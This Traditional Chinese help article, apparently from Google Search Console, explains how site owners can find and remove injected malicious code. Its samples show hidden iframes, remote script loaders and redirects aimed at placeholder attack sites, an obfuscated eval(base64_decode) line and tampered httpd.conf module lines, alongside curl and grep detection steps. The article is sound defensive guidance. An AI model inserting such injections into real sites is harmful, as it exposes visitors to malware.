惡意軟體感染類型:植入程式碼

在 Google Search Console 中,有標示惡意軟體感染類型為「植入程式碼」的網頁代表什麼意思?

這代表您網站上的網頁已遭到竄改,植入了惡意程式碼 (例如 iframe),目的是將訪客導向會受到惡意軟體攻擊的網站。

如需更多惡意軟體的一般性資訊,請參閱評估損害 (惡意軟體入侵)

如何調查「植入程式碼」這類惡意軟體類型?

首先,請避免使用瀏覽器查看網站上遭感染的網頁。惡意軟體常會透過瀏覽器的漏洞進行散佈,所以在瀏覽器中開啟遭惡意軟體感染的網頁,可能會使您的電腦受損。

建議您使用 cURLWget 執行 HTTP 要求 (例如擷取網頁) 進行確認。這些免費工具可協助診斷重新導向,甚至將推薦連結或使用者代理程式的資訊納入診斷條件。駭客可能會限制惡意內容的顯示對象,只有經由特定使用者代理程式或推薦連結瀏覽的使用者能看到惡意內容。透過這種方式,駭客不僅可以鎖定更多「真正的使用者」,還能避免網站擁有者和惡意軟體掃描器的偵測 (您的網站必須上線才能使用這些工具)。

例如:

$curl -v --referer <referer-field> --user-agent "Mozilla/5.0 (
  Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) 
  Chrome/12.0.742.112 Safari/534.30" <your-url>
例如
$curl -v --referer "http://www.google.com" --user-agent "Mozilla/5.0 
  (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) 
  Chrome/12.0.742.112 Safari/534.30" http://www.example.com/page.html

接下來,請登入您的檔案系統。調查所有寫入了受感染的「植入程式碼」網址的資源。部分惡意程式碼植入的例子包括:

  • 導向攻擊性網站的 iframe
  • <iframe frameborder="0" height="0" src="http://<attack-site>/path/file" 
      style="display:none" width="0"></iframe>
  • 呼叫及執行攻擊性網站指令碼的 JavaScript 或其他指令碼語言
  • <script type='text/javascript' src='http://malware-attack-site/js/x55.js'></script>
  • 讓瀏覽器重新導向至攻擊性網站的指令碼
  • <script>
      if (document.referrer.match(/google\.com/)) {
        window.location("http://malware-attack-site/");
      }
    </script>
  • 以矇騙手法躲避偵測的惡意程式碼
  • eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
  • 經過設計,會隨機將有害程式碼寫入正常指令碼的共用目的檔
  • #httpd.conf modified by the hacker
    LoadModule harmful_module modules/mod_harmful.so
    AddModule mod_harmful.c

調查網站顯示的所有可疑的有害程式碼。搜尋 [iframe] 這類字詞,可協助找出 iframe 程式碼。此外,「script」、「eval」和「unescape」等也都是實用的關鍵字。例如,在 Unix 系統上可嘗試:

$grep -irn "iframe" ./ | less

如何針對惡意軟體類型為「植入程式碼」的網站進行清理?

當您準備開始清理網站 (請見受駭網站修復程序步驟 7的說明) 時,可以選擇使用最後一個完好的備份替換受影響的檔案,或是移除個別網頁中植入的程式碼,以及所有相關的編碼函式和檔案。如果您修改過伺服器設定檔,則可能必須重新啟動網路伺服器才能使變更生效。

請注意,移除惡意程式碼並不能解決漏洞的根本原因,這也是駭客最初能入侵網站的依據。不修正根本原因,您的網站未來就可能再次遭到入侵。如果除了這個惡意軟體類型以外,您還需要更多關於全面清理網站的資訊,請參閱受駭網站修復程序的說明,特別是步驟 5:評估損害 (惡意軟體入侵) 中的「評估檔案系統損害情況」。

這對您有幫助嗎?
我們應如何改進呢?